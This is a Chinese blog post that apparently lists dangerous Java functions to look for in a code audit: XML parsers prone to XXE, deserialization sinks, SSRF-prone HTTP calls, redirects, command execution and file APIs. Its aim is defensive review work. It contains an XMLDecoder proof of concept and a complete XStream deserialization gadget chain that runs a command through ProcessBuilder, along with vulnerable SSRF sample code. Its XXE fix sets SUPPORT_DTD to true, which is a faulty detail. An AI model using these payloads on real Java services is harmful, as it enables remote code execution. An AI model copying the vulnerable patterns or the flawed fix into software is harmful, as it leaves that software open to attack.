JAVA代码审计中危险函数

xxe:

javax.xml.parsers.DocumentBuilder   (原生dom解析xml)

例子:

DocumentBuilderFactory doc=DocumentBuilderFactory.newInstance();
DocumentBuilder db=doc.newDocumentBuilder();
InputStream is= new  FileInputStream("test.xml");
Document doc=dombuilder.parse(is);   #注入点
Element rootElement = document.getDocumentElement();

javax.xml.stream.XMLStreamReader    (StAX解析器,可读可写)

例子:

XMLInputFactory factory = XMLInputFactory.newFactory();
InputStream stream = XmlInputFactory.class.getClassLoader().getResourceAsStream("webService/xml/users.xml");
XMLStreamReader reader = factory.createXMLStreamReader(stream);   #注入点
while (reader.hasNext()) {...}

javax.xml.parsers.SAXParser  /  org.xml.sax.XMLReader  (原生SAX解析xml)

例子:

SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();   //reader.setContentHandler(new MyContentHandler());
reader.parse(xmlPath);    #注入点

org.jdom.input.SAXBuilder  /  org.jdom2.input.SAXBuilder   (jdom解析xml)

例子:

SAXBuilder sax = new SAXBuilder();
Document doc = sax.build("src/config.xml");    #注入点

org.dom4j.io.SAXReader    (dom4j解析xml)

例子:

InputStream fis=new FileInputStream("F:\\eclipsewk\\SDK201702\\Test-Pack\\package\\work\\before\\AndrdManit.xml");
Document document = new SAXReader().read(fis);   #注入点

javax.xml.validation.SchemaFactory    (校验xml)

例子:

File xsdfile=new File("xml/orders.xsd");
File xmlfile=new File("xml/orders.xml");
Handler errorHandler=new Handler();
SchemaFactory schemafactory=SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); //
Schema schema=schemafactory.newSchema(xsdfile);
Validator vaildator=schema.newValidator();
vaildator.setErrorHandler((ErrorHandler) errorHandler);
vaildator.validate(new StreamSource(xmlfile));   #注入点

javax.xml.bind.Unmarshaller    (JAXB解析xml,也是实现java和xml的转换)

例子:

JAXBContext jc = JAXBContext.newInstance(clazz);
Unmarshaller u = jc.createUnmarshaller();
u.unmarshal(new File(xmlstr));    #注入点

修复方法:

xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);

javax.xml.xpath.XPathExpression   (XPath查询)

DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate(builder.parse(new ByteArrayInputStream(xml.getBytes())));值得注意的是:javax.xml.xpath.XPathExpression类似于Unmarshaller,它无法自行安全地配置,因此必须首先通过另一个安全的XML解析器解析不受信任的数据

javax.xml.transform.sax.SAXSource 、javax.xml.transform.TransformerFactory  、javax.xml.transform.sax.SAXTransformerFactory    (生成和转换xml)

Apache Commons Configuration读取xml配置

XMLConfiguration.load代码审计的时候感觉一个个搜索也很麻烦,在使用脚本前可以先全局搜索下DocumentBuilder、sax、Unmarshaller 、XPath、XMLInputFactory等字眼

反序列化漏洞:

ObjectInputStream.readObject  //最常见的反序列化sink点,将流转化为object对象

ObjectInputStream.readUnshared  //使用较少,和readobject有些区别

readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。

XMLDecoder.readObject  //读取xml转化为object,不能进行xxe。

poc:

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1" ><void index="0"><string>c:\\windows\\system32\\calc.exe</string>  </void></array><void method="start"/></object></java>

XStream.fromXML   //XStream用于java object与xml的相互转换,XStream.toXML(将java转换为xml)

String payload = "<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>";

一些第三方jar包中的,这些第三方jar包历史版本中存在序列化漏洞

ObjectMapper.readValue    jackson中的api
JSON.parseObject    fastjson中的api

Yaml.load

审计的时候搜索readobject、readUnshared、fromXML这些关键api

SSRF(服务器端请求伪造):

HttpClient.execute
HttpClient.executeMethod

HttpURLConnection/URLConnection

// HttpURLConnection ssrf vul
String url = request.getParameter ( "url");
URL u = new URL(url);URLConnection urlconnection = u.openConnection( );
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));//触发漏洞String inputLine;StringBuffer html = new StringBuffer();while ( ( inputLine = in.readLine( )) != null) {html.append ( inputLine);}
System.out.println( "html : " + html.toString());
in.close();

new  HttpGet(url)

String url = request.getParameter ( "url");
closeableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet( url) ;
HttpResponse httpResponse = client.execute(httpGet);//发起请求

OkHttpClient()

String url = request.getParameter( "url");
okHttpclient client = new okHttpclient();
com.squareup.okhttp.Request ok_http = new com .squareup.okhttp.Request.Builder().url(ur1) .build() ;
client.newCall(ok_http).execute();//发起请求

URL:URL   url = new URL()

url.openStream、ImageIO.read(url)

// ImageIo ssrf vul
String url = request.getParameter ( "url");
URL u = new URL(url);
BufferedImage img = ImageIo.read(u); //触发漏洞

其他

String url = request.getParameter( "url");
return Request.Get(url).execute( ) .returncontent( ).toString();//发起请求

审计的时候搜索new URL、HttpClient、HttpURLConnection

文件上传:

审计的时候搜索MultipartFile

Autobinding    //参数自动绑定漏洞:

审计的时候搜索@SessionAttributes和@ModelAttribute,属于SpringMVC框架

URL跳转漏洞:

response.sendRedirect  //重定向

response.setHeader("Location", "http://www.baidu.com");      // 也是重定向

request.getRequestDispatcher("/success.html").forward(request, response);     //请求转发

命令执行:

Runtime.exec             //Runtime.getRuntime().exec(command)
ProcessBuilder.start    //new ProcessBuilder(cmdArray).start(),取代了Process
GroovyShell.evaluate    //主要用于在java中运行Groovy脚本

shell.evaluate("static void main(String[]args){Runtime.getRuntime().exec(command);}");

类似的还有GroovyClassLoader 、ScriptEngine

文件操作相关的漏洞:

最常见的就是JDK原始的java.io.FileInputStream类

JDK1.7新增的基于NIO读取文件的java.nio.file.Files类。常用方法如:Files.readAllBytes、Files.readAllLines

JDK原始的java.io.RandomAccessFile类

Apache Commons IO提供的org.apache.commons.io.FileUtils类

JDK1.7新增的基于NIO非阻塞异步读取文件的java.nio.channels.AsynchronousFileChannel类

JAVA代码审计自动化工具

地址

部分java代码分析,勿喷!!!

JAVA代码审计中危险函数相关推荐

  1. java代码审计ssrf危险函数_某租车系统Java代码审计之后台注入漏洞分析

    CMS简介 系统基于租车业务场景而搭建的O2O服务平台,可为用户提供商务租车.接送机.旅游租车.企业租车.自驾租车.婚庆用车等自助租车服务. 系统包含车辆库管理.门店管理.员工管理.司机管理.订单管理 ...

  2. 浅析Java代码审计中的SQL注入漏洞

    浅析Java代码审计中的SQL注入漏洞 1.注入漏洞简介 2.SQL注入漏洞简介 3.JDBC拼接不当造成SQL注入 第一关:使用Statement 第二关:使用PrepareStatement 4. ...

  3. java代码审计中的一些常见漏洞及其特征函数

    文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...

  4. java js中 function函数报错_浅析JS中对函数function的理解(基础篇)

    正文:我们知道,在js中,函数实际上是一个对象,每个函数都是Function类型的实例,并且都与其他引用类型一样具有属性和方法.因此,函数名实际上是指向函数对象的指针,不与某个函数绑定.在常见的两种定 ...

  5. java asynchronize_Java 中synchronize函数的实例详解

    Java 中synchronize函数的实例详解 java中的一个类的成员函数若用synchronized来修饰,则对应同一个对象,多个线程像调用这个对象的这个同步函数时必须等到上一个线程调用完才能由 ...

  6. java类中自定义函数的调用_关于方法:自定义类中对函数的未解析引用

    我无法解决看似微不足道的问题.我的问题可能是缺乏对Kotlin语言的经验(和理解).不过,我将需要帮助. 我做了一个自定义类,其中包含一个自定义函数.看起来很简单,但是当我尝试使用此功能时,我一直收到 ...

  7. java 动态调用函数_深入讲解Java语言中的函数动态调用方式

    相 信 有 不 少 人 使 用C 语 言 的 函 数 指 针 实 现 过 函 数 的 动 态 调 用. 适 当 地 运 用 函 数 动 态 调 用 功 能 不 仅 能 减 少 代 码 数 量, 而 且 ...

  8. java makerdd_Spark中parallelize函数和makeRDD函数的区别

    我们知道,在Spark中创建RDD的创建方式大概可以分为三种: 从集合中创建RDD: 从外部存储创建RDD: 从其他RDD创建. 而从集合中创建RDD,Spark主要提供了两种函数:paralleli ...

  9. c语言 java append_C++中append函数的用法和函数定义。谢谢!

    展开全部 要想使用标准C++中string类,必须要包含 #include // 注意是,不62616964757a686964616fe78988e69d8331333339663434是,带.h的 ...

最新文章

  1. Numpy入门教程:05. 逻辑函数
  2. seaborn将图例放置在图像外部并使用move_legend函数将图例(legend)放置在图像的顶部、且单行展开显示
  3. Windowsw核心编程 第13章 Windows内存结构
  4. 通过小代码体验程序中BSS段和DATA段的差异
  5. mysql中char和text的区别_mysql中text与varchar与char的区别
  6. “新型肺炎患者同乘查询系统”上线,超2千万用户使用
  7. java pem,如何验证Java中的PEM格式证书
  8. 修改了WINCE自带的驱动程序后如何编译
  9. 复数抽象数据类型C语言,采用C/C++语言如何实现复数抽象数据类型Complex
  10. 51单片机按键输入多位数_单片机实现八路抢答器实例分享
  11. 读书笔记(一)——《许三观卖血记》
  12. 计算机桌面文件删除不掉是怎么了,桌面上文件删不掉_桌面上的压缩文件为什么删除不了?...
  13. 用pycharm创建数据库sqlites3表格,但是打开并不显示
  14. 安装kubernetes_如何在Kubernetes中安装和使用Linkerd
  15. 安全测试===sqlmap
  16. ESXi、PVE、unRaid的介绍及对比
  17. 使用国密算法签名PDF文件
  18. SCI论文投稿信(Cover Letter)的写法及模版(转
  19. 正则中的\d与\D、\w与\W、\s与\S各代表什么意思
  20. android sdk救机,Android手机变砖后的自救方法

热门文章

  1. .NET应用跨域问题解决方案
  2. Android如何更改app图标
  3. Hutool是一个小而全的Java工具类库
  4. QYQ在艾泽拉斯(并查集)(Tarjan)(拓扑序DP)
  5. 持续集成工具 jenkins
  6. Mac:查看端口占用
  7. 想不想修真一直卡在加载服务器信息,想不想修真一直进不去 无法进入游戏解决方法...
  8. gitlab 修改ssh端口
  9. Windows彻底停止nginx服务
  10. windows下停止nginx服务bat脚本